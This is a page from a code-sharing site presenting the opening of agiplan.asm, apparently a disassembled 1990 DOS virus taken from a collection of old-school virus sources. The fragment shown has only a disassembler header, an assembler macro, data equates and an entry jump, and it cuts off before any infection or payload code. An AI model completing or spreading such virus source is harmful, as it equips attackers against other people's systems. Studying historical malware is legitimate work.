agiplan.asm

来自「More than 800 virus code (old school) ju」· 汇编 代码 · 共 87 行

ASM
87
字号
  
PAGE  59,132
  
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;圹								         圹
;圹			        AGIPLAN				         圹
;圹								         圹
;圹      Created:   1-Sep-90					         圹
;圹      Version:						         圹
;圹      Passes:    5	       Analysis Options on: none	         圹
;圹								         圹
;圹								         圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
  
movseg		 macro reg16, unused, Imm16     ; Fixup for Assembler
		 ifidn	<reg16>, <bx>
		 db	0BBh
		 endif
		 ifidn	<reg16>, <cx>
		 db	0B9h
		 endif
		 ifidn	<reg16>, <dx>
		 db	0BAh
		 endif
		 ifidn	<reg16>, <si>
		 db	0BEh
		 endif
		 ifidn	<reg16>, <di>
		 db	0BFh
		 endif
		 ifidn	<reg16>, <bp>
		 db	0BDh
		 endif
		 ifidn	<reg16>, <sp>
		 db	0BCh
		 endif
		 ifidn	<reg16>, <BX>
		 db	0BBH
		 endif
		 ifidn	<reg16>, <CX>
		 db	0B9H
		 endif
		 ifidn	<reg16>, <DX>
		 db	0BAH
		 endif
		 ifidn	<reg16>, <SI>
		 db	0BEH
		 endif
		 ifidn	<reg16>, <DI>
		 db	0BFH
		 endif
		 ifidn	<reg16>, <BP>
		 db	0BDH
		 endif
		 ifidn	<reg16>, <SP>
		 db	0BCH
		 endif
		 dw	seg Imm16
endm
data_1e		equ	46Dh			; (0000:046D=0B35h)
data_2e		equ	600h			; (0000:0600=54h)
data_3e		equ	0Eh			; (0A10:000E=1)
data_4e		equ	1			; (936D:0001=0FFFFh)
data_5e		equ	0			; (936E:0000=0)
data_6e		equ	2			; (936E:0002=0)
data_7e		equ	12h			; (936E:0012=0)
data_8e		equ	14h			; (936E:0014=936Eh)
data_9e		equ	0F0h			; (936E:00F0=0)
data_10e	equ	0F6h			; (936E:00F6=0)
data_11e	equ	0FAh			; (936E:00FA=0)
data_12e	equ	0FEh			; (936E:00FE=0)
data_45e	equ	2Ch			; (93CE:002C=0FFFFh)
data_46e	equ	5B0h			; (93CE:05B0=41h)
data_47e	equ	600h			; (93CE:0600=41h)
data_48e	equ	1			; (FFFE:0001=0)
  
seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a
  
  
		org	100h
  
agiplan		proc	far
  
start:
		jmp	loc_43			; (04CF)
data_14		db	'悙悙悳P1

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?